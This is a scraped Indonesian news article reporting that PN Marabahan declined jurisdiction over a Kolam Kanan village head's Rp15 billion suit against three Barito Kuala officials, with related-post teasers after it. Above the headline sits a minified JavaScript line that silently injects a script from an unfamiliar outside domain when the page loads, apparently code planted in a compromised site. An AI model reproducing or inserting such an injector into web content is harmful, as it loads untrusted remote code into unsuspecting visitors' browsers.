(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gugatan Rp15 Miliar Kades Kolam Kanan Ditolak PN Marabahan


KANALKALIMANTAN.COM, BANJARMASIN – Gugatan Kepala Desa (Kades) Kolam Kanan Kecamatan Wanaraya kepada tiga instansi di lingkungan Pemerintah Kabupaten Barito Kuala ditolak keseluruhan oleh Pengadilan Negeri (PN) Marabahan.

Berdasarkan penulusuran perkara di SIPP PN Marabahan Kamis (28/7/2023) siang, putusan majelis hakim memuat tiga poin. Pertama, menyatakan Pengadilan Negeri Marabahan tidak berwenang mengadili perkara Nomor 16/Pdt.G/2022/PN Mrh. Kedua, menyatakan gugatan penggugat tidak dapat diterima.

Kemudian ketiga, majelis hakim PN Marabahan memutuskan untuk menghukum penggugat membayar biaya perkara sejumlah Rp685.000.

Amar putusan tersebut telah dibacakan majelis hakim PN Marabahan pada persidangan sistem ecourt Rabu (28/7/2023) lalu, oleh Ketua Majelis Hakim Handry Satrio dan dua Hakim Anggota Indi Rizka Sahfira dan Debby Stevani.

Baca juga: Kafilah Kabupaten Banjar Juara Umum MTQ Nasional Tingkat Kalsel

Sebelumnya, Kepala Desa Kolam Kanan Endang Sudrajat melalui kuasa hukum Pazri dari LBH Borneo Nusantara menggugat tiga pimpinan instansi di Kabupaten Batola karena merasa dirugikan.

Pihak yang digugat antara lain Kepala Inspektorat Batola Ismed Zulfikar, Kepala Dinas Pemberdayaan Masyarakat dan Desa Kabupaten Batola M Azis, dan Asisten Bidang Pemerintahan dan Kesejahteraan Rakyat Pemkab Batola Suyud Sugiono.

Tidak tanggung-tanggung, nilai gugatan yang dilayangkan Kades Kolam Kanan kepada ketiga tergugat yaitu sebesar Rp15.085.662.500.

Sementara itu, menanggapi putusan PN Marabahan yang menolak seluruh petitum gugatan, Endang Sudrajat mengaku akan melakukan upaya hukum banding sebagaimana saran dari kuasa hukumnya.

Baca juga: Kafilah Kabupaten Banjar Juara Umum MTQ Nasional Tingkat Kalsel

“Iya kita pasti akan melakukan upaya banding ke Pengadilan Tinggi,” katanya.

Untuk perkara gugatan Kades Kolam Kanan sendiri telah disidangkan sejak 2 November 2022 lalu dan telah melewati 22 sidang dengan 1 kali penundaan.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.